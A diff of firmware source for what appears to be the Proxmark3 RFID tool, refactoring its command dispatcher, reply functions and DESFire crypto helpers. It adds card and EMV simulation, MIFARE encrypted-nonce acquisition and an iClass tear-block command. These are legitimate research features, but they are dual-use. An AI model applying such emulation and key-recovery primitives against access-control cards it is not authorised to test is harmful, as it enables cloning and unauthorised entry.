uint8_t divide_ptr;
uint8_t prot_status;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
ProtectPageSlixIso15693(payload->read_pwd, payload->write_pwd, payload->divide_ptr, payload->prot_status);
break;
}
case CMD_HF_ISO15693_SLIX_DISABLE_PRIVACY: {
struct p {
uint8_t pwd[4];
@ -1591,13 +1694,13 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
case CMD_HF_ISO14443A_GET_CONFIG: {
hf14a_config *hf14aconfig = getHf14aConfig();
reply_ng(CMD_HF_ISO14443A_GET_CONFIG, PM3_SUCCESS, (uint8_t *)hf14aconfig, sizeof(hf14a_config));
hf14a_config_t *c = getHf14aConfig();
reply_ng(CMD_HF_ISO14443A_GET_CONFIG, PM3_SUCCESS, (uint8_t *)c, sizeof(hf14a_config_t));
break;
}
case CMD_HF_ISO14443A_SET_CONFIG: {
hf14a_config c;
memcpy(&c, packet->data.asBytes, sizeof(hf14a_config));
hf14a_config_t c;
memcpy(&c, packet->data.asBytes, sizeof(hf14a_config_t));
setHf14aConfig(&c);
break;
}
@ -1624,15 +1727,57 @@ static void PacketReceived(PacketCommandNG *packet) {
ReaderIso14443a(packet);
break;
}
#ifdef WITH_SMARTCARD
case CMD_HF_ISO14443A_EMV_SIMULATE: {
struct p {
uint16_t flags;
uint8_t exitAfter;
uint8_t uid[7];
uint16_t atqa;
uint8_t sak;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
EMVsim(payload->flags, payload->exitAfter, payload->uid, payload->atqa, payload->sak);
break;
}
#endif
case CMD_HF_ISO14443A_SIMULATE: {
struct p {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t exitAfter;
uint8_t rats[20];
bool ulc_p1;
bool ulc_p2;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid, payload->exitAfter); // ## Simulate iso14443a tag - pass tag type & UID
SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid,
payload->exitAfter, payload->rats, sizeof(payload->rats),
payload->ulc_p1, payload->ulc_p2); // ## Simulate iso14443a tag - pass tag type & UID
break;
}
case CMD_HF_ISO14443A_SIM_AID: {
struct p {
uint8_t tagtype;
uint16_t flags;
uint8_t uid[10];
uint8_t ats[20];
uint8_t aid[30];
uint8_t selectaid_response[100];
uint8_t getdata_response[100];
uint32_t ats_len;
uint32_t aid_len;
uint32_t selectaid_response_len;
uint32_t getdata_response_len;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
// ## Simulate iso14443a tag - pass tag type, UID, ATS, AID, responses
SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid,
payload->ats, payload->ats_len, payload->aid, payload->aid_len,
payload->selectaid_response, payload->selectaid_response_len,
payload->getdata_response, payload->getdata_response_len);
break;
}
case CMD_HF_ISO14443A_ANTIFUZZ: {
@ -1694,7 +1839,7 @@ static void PacketReceived(PacketCommandNG *packet) {
struct p {
bool turn_off_field;
uint8_t keyno;
uint8_t key[18];
uint8_t key[16];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareUL_AES_Auth(payload->turn_off_field, payload->keyno, payload->key);
@ -1751,7 +1896,7 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
case CMD_HF_MIFARE_ACQ_STATIC_ENCRYPTED_NONCES: {
MifareAcquireStaticEncryptedNonces(packet->oldarg[0], packet->data.asBytes);
MifareAcquireStaticEncryptedNonces(packet->oldarg[0], packet->data.asBytes, true, packet->oldarg[1], packet->oldarg[2]);
break;
}
case CMD_HF_MIFARE_ACQ_NONCES: {
@ -1812,41 +1957,70 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
case CMD_HF_MIFARE_EML_MEMCLR: {
MifareEMemClr();
reply_ng(CMD_HF_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0);
//-----------------------------------------------------------------------------
// Work with emulator memory
//
// Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not
// involved in dealing with emulator memory. But if it is called later, it might
// destroy the Emulator Memory.
//-----------------------------------------------------------------------------
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// Not only clears the emulator memory,
// also sets default MIFARE values for sector trailers.
emlClearMem();
reply_ng(CMD_HF_MIFARE_EML_MEMCLR, PM3_SUCCESS, NULL, 0);
break;
}
case CMD_HF_MIFARE_EML_MEMSET: {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
struct p {
uint8_t blockno;
uint16_t blockno;
uint8_t blockcnt;
uint8_t blockwidth;
uint8_t data[];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
// backwards compat... default bytewidth
if (payload->blockwidth == 0)
payload->blockwidth = 16;
if (payload->blockwidth == 0) {
payload->blockwidth = MIFARE_BLOCK_SIZE;
}
emlSetMem_xt(payload->data, payload->blockno, payload->blockcnt, payload->blockwidth);
break;
}
case CMD_HF_MIFARE_EML_MEMGET: {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
struct p {
uint8_t blockno;
uint16_t blockno;
uint8_t blockcnt;
uint8_t blockwidth;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareEMemGet(payload->blockno, payload->blockcnt);
//
size_t size = payload->blockcnt * payload->blockwidth;
if (size > PM3_CMD_DATA_SIZE) {
reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_EMALLOC, NULL, 0);
return;
}
uint8_t *buf = BigBuf_calloc(size);
emlGetMem_xt(buf, payload->blockno, payload->blockcnt, payload->blockwidth); // data, block num, blocks count (max 4)
LED_B_ON();
reply_ng(CMD_HF_MIFARE_EML_MEMGET, PM3_SUCCESS, buf, size);
LED_B_OFF();
BigBuf_free_keep_EM();
break;
}
case CMD_HF_MIFARE_EML_LOAD: {
mfc_eload_t *payload = (mfc_eload_t *) packet->data.asBytes;
MifareECardLoadExt(payload->sectorcnt, payload->keytype);
MifareECardLoadExt(payload->sectorcnt, payload->keytype, payload->key);
break;
}
// Gen1a / 1b - "magic Chinese" card
@ -2085,6 +2259,10 @@ static void PacketReceived(PacketCommandNG *packet) {
iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_TEARBL: {
iClass_TearBlock((iclass_tearblock_req_t *)packet->data.asBytes);
break;
}
#endif
#ifdef WITH_HFSNIFF
@ -2181,11 +2359,11 @@ static void PacketReceived(PacketCommandNG *packet) {
}
case CMD_HF_SAM_PICOPASS: {
sam_picopass_get_pacs();
sam_picopass_get_pacs(packet);
break;
}
case CMD_HF_SAM_SEOS: {
// sam_seos_get_pacs();
sam_seos_get_pacs(packet);
break;
}
@ -2213,7 +2391,7 @@ static void PacketReceived(PacketCommandNG *packet) {
uint16_t available;
uint16_t pre_available = 0;
uint8_t *dest = BigBuf_malloc(USART_FIFOLEN);
uint8_t *dest = BigBuf_calloc(USART_FIFOLEN);
uint32_t wait = payload->waittime;
StartTicks();
@ -2257,7 +2435,7 @@ static void PacketReceived(PacketCommandNG *packet) {
uint16_t available;
uint16_t pre_available = 0;
uint8_t *dest = BigBuf_malloc(USART_FIFOLEN);
uint8_t *dest = BigBuf_calloc(USART_FIFOLEN);
uint32_t wait = payload->waittime;
StartTicks();
@ -2553,9 +2731,9 @@ static void PacketReceived(PacketCommandNG *packet) {
uint32_t size = packet->oldarg[1];
uint8_t *buff = BigBuf_malloc(size);
uint8_t *buff = BigBuf_calloc(size);
if (buff == NULL) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Could not allocate buffer");
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
// Trigger a finish downloading signal with an PM3_EMALLOC
reply_ng(CMD_SPIFFS_DOWNLOAD, PM3_EMALLOC, NULL, 0);
} else {
@ -2685,6 +2863,7 @@ static void PacketReceived(PacketCommandNG *packet) {
uint8_t *em = BigBuf_get_EM_addr();
if (em == NULL) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
reply_ng(CMD_SPIFFS_ELOAD, PM3_EMALLOC, NULL, 0);
LED_B_OFF();
break;
@ -2721,28 +2900,10 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
if (payload->startidx == DEFAULT_T55XX_KEYS_OFFSET) {
if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages64k)) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0xC);
} else if (payload->startidx == DEFAULT_MF_KEYS_OFFSET) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0x8);
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0x9);
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0xA);
} else if (payload->startidx == DEFAULT_ICLASS_KEYS_OFFSET) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0xB);
} else if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(3, 0xF);
Flash_Erase4k(spi_flash_pages64k - 1, 0xF);
}
uint16_t res = Flash_Write(payload->startidx, payload->data, payload->len);
@ -2762,7 +2923,7 @@ static void PacketReceived(PacketCommandNG *packet) {
LED_B_OFF();
break;
}
if (page < 3) {
if (page < spi_flash_pages64k - 1) {
isok = Flash_WipeMemoryPage(page);
// let spiffs check and update its info post flash erase
rdv40_spiffs_check();
@ -2775,7 +2936,7 @@ static void PacketReceived(PacketCommandNG *packet) {
case CMD_FLASHMEM_DOWNLOAD: {
LED_B_ON();
uint8_t *mem = BigBuf_malloc(PM3_CMD_DATA_SIZE);
uint8_t *mem = BigBuf_calloc(PM3_CMD_DATA_SIZE);
uint32_t startidx = packet->oldarg[0];
uint32_t numofbytes = packet->oldarg[1];
// arg0 = startindex
@ -2807,9 +2968,9 @@ static void PacketReceived(PacketCommandNG *packet) {
case CMD_FLASHMEM_INFO: {
LED_B_ON();
rdv40_validation_t *info = (rdv40_validation_t *)BigBuf_malloc(sizeof(rdv40_validation_t));
rdv40_validation_t *info = (rdv40_validation_t *)BigBuf_calloc(sizeof(rdv40_validation_t));
bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET, info->signature, FLASH_MEM_SIGNATURE_LEN);
bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages64k), info->signature, FLASH_MEM_SIGNATURE_LEN);
if (FlashInit()) {
Flash_UniqueID(info->flashid);
@ -2818,6 +2979,23 @@ static void PacketReceived(PacketCommandNG *packet) {
reply_mix(CMD_ACK, isok, 0, 0, info, sizeof(rdv40_validation_t));
BigBuf_free();
LED_B_OFF();
break;
}
case CMD_FLASHMEM_PAGES64K: {
LED_B_ON();
bool isok = false;
if (FlashInit()) {
isok = true;
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf(" CMD_FLASHMEM_PAGE64K 0x%02x (%d 64k pages)", spi_flash_pages64k, spi_flash_pages64k);
}
FlashStop();
}
reply_mix(CMD_ACK, isok, 0, 0, &spi_flash_pages64k, sizeof(uint8_t));
LED_B_OFF();
break;
}

View file

@ -72,7 +72,7 @@ int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const v
return PM3_SUCCESS;
}
static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data, size_t len, bool ng) {
static int reply_ng_internal(uint16_t cmd, int8_t status, uint8_t reason, const uint8_t *data, size_t len, bool ng) {
PacketResponseNGRaw txBufferNG;
size_t txBufferNGLen;
@ -80,6 +80,7 @@ static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data,
txBufferNG.pre.magic = RESPONSENG_PREAMBLE_MAGIC;
txBufferNG.pre.cmd = cmd;
txBufferNG.pre.status = status;
txBufferNG.pre.reason = reason;
txBufferNG.pre.ng = ng;
if (len > PM3_CMD_DATA_SIZE) {
len = PM3_CMD_DATA_SIZE;
@ -136,12 +137,12 @@ static int reply_ng_internal(uint16_t cmd, int16_t status, const uint8_t *data,
return PM3_SUCCESS;
}
int reply_ng(uint16_t cmd, int16_t status, const uint8_t *data, size_t len) {
return reply_ng_internal(cmd, status, data, len, true);
int reply_ng(uint16_t cmd, int8_t status, const uint8_t *data, size_t len) {
return reply_ng_internal(cmd, status, PM3_REASON_UNKNOWN, data, len, true);
}
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) {
int16_t status = PM3_SUCCESS;
int8_t status = PM3_SUCCESS;
uint64_t arg[3] = {arg0, arg1, arg2};
if (len > PM3_CMD_DATA_SIZE - sizeof(arg)) {
len = PM3_CMD_DATA_SIZE - sizeof(arg);
@ -153,7 +154,11 @@ int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const v
memcpy(cmddata + sizeof(arg), data, (int)len);
}
return reply_ng_internal((cmd & 0xFFFF), status, cmddata, len + sizeof(arg), false);
return reply_ng_internal((cmd & 0xFFFF), status, PM3_REASON_UNKNOWN, cmddata, len + sizeof(arg), false);
}
int reply_reason(uint16_t cmd, int8_t status, int8_t reason, const uint8_t *data, size_t len) {
return reply_ng_internal(cmd, status, reason, data, len, true);
}
static int receive_ng_internal(PacketCommandNG *rx, uint32_t read_ng(uint8_t *data, size_t len), bool usb, bool fpc) {

View file

@ -28,8 +28,9 @@ extern bool g_reply_via_fpc;
extern bool g_reply_via_usb;
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, const uint8_t *data, size_t len);
int reply_ng(uint16_t cmd, int8_t status, const uint8_t *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len);
int reply_reason(uint16_t cmd, int8_t status, int8_t reason, const uint8_t *data, size_t len);
int receive_ng(PacketCommandNG *rx);
#endif // _PROXMARK_CMD_H_

View file

@ -16,7 +16,6 @@
//-----------------------------------------------------------------------------
#include "dbprint.h"
#include "string.h"
#include "cmd.h"
#include "printf.h"
@ -76,35 +75,34 @@ void Dbprintf(const char *fmt, ...) {
// prints HEX & ASCII
void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
#if DEBUG
char ascii[17];
while (len > 0) {
int l = (len > 16) ? 16 : len;
memcpy(ascii, d, l);
ascii[l] = 0;
if (bAsci) {
char ascii[17];
// filter safe ascii
for (int i = 0; i < l; i++) {
if (ascii[i] < 32 || ascii[i] > 126) {
ascii[i] = '.';
memcpy(ascii, d, l);
ascii[l] = 0;
// filter safe ascii
for (int i = 0; i < l; i++) {
if (ascii[i] < 32 || ascii[i] > 126) {
ascii[i] = '.';
}
}
}
if (bAsci)
Dbprintf("%-8s %*D", ascii, l, d, " ");
else
} else {
Dbprintf("%*D", l, d, " ");
}
len -= 16;
d += 16;
}
#endif
}
void print_result(const char *name, const uint8_t *d, size_t
n) {
void print_result(const char *name, const uint8_t *d, size_t n) {
const uint8_t *p = d;
uint16_t tmp = n & 0xFFF0;

View file

@ -31,7 +31,7 @@
#include "crc32.h"
#include "crc.h"
#include "crc16.h" // crc16 ccitt
#include "printf.h"
#include "nprintf.h"
#include "iso14443a.h"
#include "dbprint.h"
#include "BigBuf.h"
@ -65,25 +65,32 @@ void des_decrypt(void *out, const void *in, const void *key) {
mbedtls_des_crypt_ecb(&ctx, in, out);
}
void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode) {
if (length % 8) return;
if (keymode == 2)
mbedtls_des3_set2key_dec(&ctx3, key);
else
mbedtls_des3_set3key_dec(&ctx3, key);
void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode) {
// must be even blocks of 8 bytes.
if (length % 8) {
return;
}
if (keymode == 2) {
mbedtls_des3_set2key_dec(&ctx3, key);
} else {
mbedtls_des3_set3key_dec(&ctx3, key);
}
uint8_t i;
unsigned char temp[8];
uint8_t *tin = (uint8_t *) in;
uint8_t *tout = (uint8_t *) out;
while (length > 0) {
memcpy(temp, tin, 8);
mbedtls_des3_crypt_ecb(&ctx3, tin, tout);
for (i = 0; i < 8; i++)
tout[i] = (unsigned char)(tout[i] ^ iv[i]);
for (uint8_t i = 0; i < 8; i++) {
tout[i] ^= iv[i];
}
memcpy(iv, temp, 8);
@ -93,20 +100,26 @@ void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key,
}
}
void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode) {
if (length % 8) return;
if (keymode == 2)
mbedtls_des3_set2key_enc(&ctx3, key);
else
mbedtls_des3_set3key_enc(&ctx3, key);
void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode) {
// must be even blocks of 8 bytes.
if (length % 8) {
return;
}
if (keymode == 2) {
mbedtls_des3_set2key_enc(&ctx3, key);
} else {
mbedtls_des3_set3key_enc(&ctx3, key);
}
uint8_t i;
uint8_t *tin = (uint8_t *) in;
uint8_t *tout = (uint8_t *) out;
while (length > 0) {
for (i = 0; i < 8; i++) {
tin[i] = (unsigned char)(tin[i] ^ iv[i]);
for (uint8_t i = 0; i < 8; i++) {
tin[i] ^= iv[i];
}
mbedtls_des3_crypt_ecb(&ctx3, tin, tout);
@ -120,7 +133,9 @@ void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, un
}
void aes128_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]) {
if (length % 8) return;
if (length % 8) {
return;
}
uint8_t *tin = (uint8_t *) in;
uint8_t *tout = (uint8_t *) out;
@ -130,7 +145,9 @@ void aes128_nxp_receive(const void *in, void *out, size_t length, const void *ke
}
void aes128_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]) {
if (length % 8) return;
if (length % 8) {
return;
}
uint8_t *tin = (uint8_t *) in;
uint8_t *tout = (uint8_t *) out;
@ -139,12 +156,15 @@ void aes128_nxp_send(const void *in, void *out, size_t length, const void *key,
mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, length, iv, tin, tout);
}
void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key) {
uint8_t data[8];
memcpy(data, value, 8);
for (int n = 0; n < 8; n++) {
void Desfire_des_key_new(const uint8_t *value, desfirekey_t key) {
uint8_t data[8] = {0};
memcpy(data, value, sizeof(data));
for (size_t n = 0; n < sizeof(data); n++) {
data[n] &= 0xFE;
}
Desfire_des_key_new_with_version(data, key);
}
@ -233,22 +253,24 @@ void Desfire_key_set_version(desfirekey_t key, uint8_t version) {
void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key) {
uint8_t buffer[24];
uint8_t buffer[24] = {0};
switch (authkey->type) {
case T_DES:
case T_DES: {
memcpy(buffer, rnda, 4);
memcpy(buffer + 4, rndb, 4);
Desfire_des_key_new_with_version(buffer, key);
break;
case T_3DES:
}
case T_3DES: {
memcpy(buffer, rnda, 4);
memcpy(buffer + 4, rndb, 4);
memcpy(buffer + 8, rnda + 4, 4);
memcpy(buffer + 12, rndb + 4, 4);
Desfire_3des_key_new_with_version(buffer, key);
break;
case T_3K3DES:
}
case T_3K3DES: {
memcpy(buffer, rnda, 4);
memcpy(buffer + 4, rndb, 4);
memcpy(buffer + 8, rnda + 6, 4);
@ -257,22 +279,15 @@ void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfire
memcpy(buffer + 20, rndb + 12, 4);
Desfire_3k3des_key_new(buffer, key);
break;
case T_AES:
}
case T_AES: {
memcpy(buffer, rnda, 4);
memcpy(buffer + 4, rndb, 4);
memcpy(buffer + 8, rnda + 12, 4);
memcpy(buffer + 12, rndb + 12, 4);
Desfire_aes_key_new(buffer, key);
break;
}
}
static size_t key_macing_length(desfirekey_t key);
// iceman, see memxor inside string.c, dest/src swapped..
static void xor(const uint8_t *ivect, uint8_t *data, const size_t len) {
for (size_t i = 0; i < len; i++) {
data[i] ^= ivect[i];
}
}
}
@ -293,7 +308,7 @@ void cmac_generate_subkeys(desfirekey_t key) {
// Used to compute CMAC on complete blocks
memcpy(key->cmac_sk1, l, kbs);
txor = l[0] & 0x80;
txor = (l[0] & 0x80);
lsl(key->cmac_sk1, kbs);
@ -304,7 +319,7 @@ void cmac_generate_subkeys(desfirekey_t key) {
// Used to compute CMAC on the last block if non-complete
memcpy(key->cmac_sk2, key->cmac_sk1, kbs);
txor = key->cmac_sk1[0] & 0x80;
txor = (key->cmac_sk1[0] & 0x80);
lsl(key->cmac_sk2, kbs);
@ -319,7 +334,7 @@ void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t le
return;
}
uint8_t *buffer = BigBuf_malloc(padded_data_length(len, kbs));
uint8_t *buffer = BigBuf_calloc(padded_data_length(len, kbs));
memcpy(buffer, data, len);
@ -328,15 +343,14 @@ void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t le
while (len % kbs) {
buffer[len++] = 0x00;
}
xor(key->cmac_sk2, buffer + len - kbs, kbs);
xor(buffer + len - kbs, key->cmac_sk2, kbs);
} else {
xor(key->cmac_sk1, buffer + len - kbs, kbs);
xor(buffer + len - kbs, key->cmac_sk1, kbs);
}
mifare_cypher_blocks_chained(NULL, key, ivect, buffer, len, MCD_SEND, MCO_ENCYPHER);
memcpy(cmac, ivect, kbs);
//free(buffer);
}
size_t key_block_size(const desfirekey_t key) {
@ -361,7 +375,7 @@ size_t key_block_size(const desfirekey_t key) {
/*
* Size of MACing produced with the key.
*/
static size_t key_macing_length(const desfirekey_t key) {
size_t key_macing_length(const desfirekey_t key) {
size_t mac_length = DESFIRE_MAC_LENGTH;
switch (key->type) {
case T_DES:
@ -380,10 +394,11 @@ static size_t key_macing_length(const desfirekey_t key) {
* Size required to store nbytes of data in a buffer of size n*block_size.
*/
size_t padded_data_length(const size_t nbytes, const size_t block_size) {
if ((!nbytes) || (nbytes % block_size))
if ((!nbytes) || (nbytes % block_size)) {
return ((nbytes / block_size) + 1) * block_size;
else
} else {
return nbytes;
}
}
/*
@ -399,12 +414,14 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c
size_t crc_length = 0;
if (!(communication_settings & NO_CRC)) {
switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY:
case AS_LEGACY: {
crc_length = 2;
break;
case AS_NEW:
}
case AS_NEW: {
crc_length = 4;
break;
}
}
}
@ -415,18 +432,20 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings) {
uint8_t *res = data;
uint8_t mac[4];
uint8_t mac[4] = {0};
size_t edl;
bool append_mac = true;
desfirekey_t key = DESFIRE(tag)->session_key;
if (!key)
desfirekey_t key = DESFIRE(tag)->session_key;
if (!key) {
return data;
}
switch (communication_settings & MDCM_MASK) {
case MDCM_PLAIN:
if (AS_LEGACY == DESFIRE(tag)->authentication_scheme)
case MDCM_PLAIN: {
if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) {
break;
}
/*
* When using new authentication methods, PLAIN data transmission from
@ -439,13 +458,16 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
*/
append_mac = false;
}
/* pass through */
case MDCM_MACED:
case MDCM_MACED: {
switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY:
if (!(communication_settings & MAC_COMMAND))
case AS_LEGACY: {
if (!(communication_settings & MAC_COMMAND)) {
break;
}
/* pass through */
edl = padded_data_length(*nbytes - offset, key_block_size(DESFIRE(tag)->session_key)) + offset;
@ -462,8 +484,6 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
// Copy again provided data (was overwritten by mifare_cypher_blocks_chained)
memcpy(res, data, *nbytes);
if (!(communication_settings & MAC_COMMAND))
break;
// Append MAC
size_t bla = maced_data_length(DESFIRE(tag)->session_key, *nbytes - offset) + offset;
(void)bla++;
@ -472,9 +492,12 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
*nbytes += 4;
break;
case AS_NEW:
if (!(communication_settings & CMAC_COMMAND))
}
case AS_NEW: {
if (!(communication_settings & CMAC_COMMAND)) {
break;
}
cmac(key, DESFIRE(tag)->ivect, res, *nbytes, DESFIRE(tag)->cmac);
if (append_mac) {
@ -485,10 +508,11 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
*nbytes += DESFIRE_CMAC_LENGTH;
}
break;
}
}
break;
case MDCM_ENCIPHERED:
}
case MDCM_ENCIPHERED: {
/* |<-------------- data -------------->|
* |<--- offset -->| |
* +---------------+--------------------+-----+---------+
@ -504,8 +528,10 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
* encypher()/decypher()
*/
if (!(communication_settings & ENC_COMMAND))
if (!(communication_settings & ENC_COMMAND)) {
break;
}
edl = enciphered_data_length(tag, *nbytes - offset, communication_settings) + offset;
// Fill in the crypto buffer with data ...
@ -513,14 +539,16 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
if (!(communication_settings & NO_CRC)) {
// ... CRC ...
switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY:
case AS_LEGACY: {
AddCrc14A(res + offset, *nbytes - offset);
*nbytes += 2;
break;
case AS_NEW:
}
case AS_NEW: {
crc32_append(res, *nbytes);
*nbytes += 4;
break;
}
}
}
// ... and padding
@ -530,32 +558,34 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
mifare_cypher_blocks_chained(tag, NULL, NULL, res + offset, *nbytes - offset, MCD_SEND, (AS_NEW == DESFIRE(tag)->authentication_scheme) ? MCO_ENCYPHER : MCO_DECYPHER);
break;
default:
}
default: {
*nbytes = -1;
res = NULL;
break;
}
}
return res;
}
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) {
void *res = data;
uint8_t first_cmac_byte = 0x00;
desfirekey_t key = DESFIRE(tag)->session_key;
if (!key) {
return data;
}
// Return directly if we just have a status code.
if (1 == *nbytes) {
return res;
}
desfirekey_t key = DESFIRE(tag)->session_key;
if (!key) {
return data;
}
uint8_t first_cmac_byte = 0x00;
switch (communication_settings & MDCM_MASK) {
case MDCM_PLAIN: {
@ -646,11 +676,12 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
break;
}
case MDCM_ENCIPHERED: {
(*nbytes)--;
bool verified = false;
int crc_pos = 0x00;
int end_crc_pos = 0x00;
uint8_t x;
/*
* AS_LEGACY:
@ -729,8 +760,9 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
verified = true;
for (int n = end_crc_pos; n < *nbytes - 1; n++) {
uint8_t byte = ((uint8_t *)res)[n];
if (!((0x00 == byte) || ((0x80 == byte) && (n == end_crc_pos))))
if (!((0x00 == byte) || ((0x80 == byte) && (n == end_crc_pos)))) {
verified = false;
}
}
}
@ -755,7 +787,7 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
break;
}
case AS_NEW: {
x = ((uint8_t *)res)[crc_pos - 1];
uint8_t x = ((uint8_t *)res)[crc_pos - 1];
((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos];
((uint8_t *)res)[crc_pos] = x;
break;
@ -789,9 +821,10 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size) {
uint8_t ovect[DESFIRE_MAX_CRYPTO_BLOCK_SIZE];
if (direction == MCD_SEND) {
xor(ivect, data, block_size);
xor(data, ivect, block_size);
} else {
memcpy(ovect, data, block_size);
}
@ -799,70 +832,80 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect,
uint8_t edata[DESFIRE_MAX_CRYPTO_BLOCK_SIZE] = {0};
switch (key->type) {
case T_DES:
case T_DES: {
switch (operation) {
case MCO_ENCYPHER:
case MCO_ENCYPHER: {
//DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT);
des_encrypt(edata, data, key->data);
break;
case MCO_DECYPHER:
}
case MCO_DECYPHER: {
//DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT);
des_decrypt(edata, data, key->data);
break;
}
}
break;
case T_3DES:
}
case T_3DES: {
switch (operation) {
case MCO_ENCYPHER:
case MCO_ENCYPHER: {
mbedtls_des3_set2key_enc(&ctx3, key->data);
mbedtls_des3_crypt_ecb(&ctx3, data, edata);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT);
// DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT);
break;
case MCO_DECYPHER:
}
case MCO_DECYPHER: {
mbedtls_des3_set2key_dec(&ctx3, key->data);
mbedtls_des3_crypt_ecb(&ctx3, data, edata);
